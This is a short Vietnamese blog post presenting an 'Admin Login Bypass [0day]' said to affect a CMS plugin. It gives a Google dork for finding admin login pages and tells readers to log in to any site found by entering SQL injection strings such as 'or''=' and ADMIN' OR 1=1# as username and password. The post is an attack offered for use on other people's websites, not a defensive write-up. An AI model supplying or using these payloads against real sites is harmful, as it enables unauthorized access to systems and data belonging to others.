Bảo Mật

Admin Login Bypass [0day]

—————————————————————————————————

Tôi tìm thấy một trang web và tôi thấy rằng trang quản trị của trang web đó có thể được truy cập chỉ đơn giản với một phương pháp bỏ qua xác thực.

Sau đó, tôi tìm kiếm các trang web khác với Dork trên để quét chúng, và tôi tìm thấy nhiều trang web dễ bị lỗi tương tự!

Vì vậy, tôi quyết định chia sẻ điều này với các bạn!

(Killer040)

  Hướng dẫn Admin Login Bypass

{-} Vulnerable Versions => Hầu hết bị dính lỗi ở CMS của Plugin ‘iChecker’.Tiến hành:Bước 1: Tìm Link Admin            Sử dụng 1 trong 2 link này để tìm Web Admin

    Hoặc vào google gõ lệnh:

“Sign in to start your session” inurl:admin/login.php

     hoặc

 "Sign in to start your session"



11     Bước 2: 

Truy cập vào trang web bất kỳ mà google tìm thấy, đăng nhập vào trang web với user/admin dưới đây (có một số trường hợp password sẽ để trống)

User: ‘or”=’
Pass: ‘or”=’

hoặc

 

User: ADMIN' OR 1=1#
Pass: ADMIN' OR 1=1#

22

Kết quả:

33

Đánh giá post

Rất Hữu ích

RatHuuIch là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. RatHuuIch cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

Bài liên quan

Theo dõi
Thông báo của
guest

0 Góp ý
Phản hồi nội tuyến
Xem tất cả bình luận
Check Also
Close
Back to top button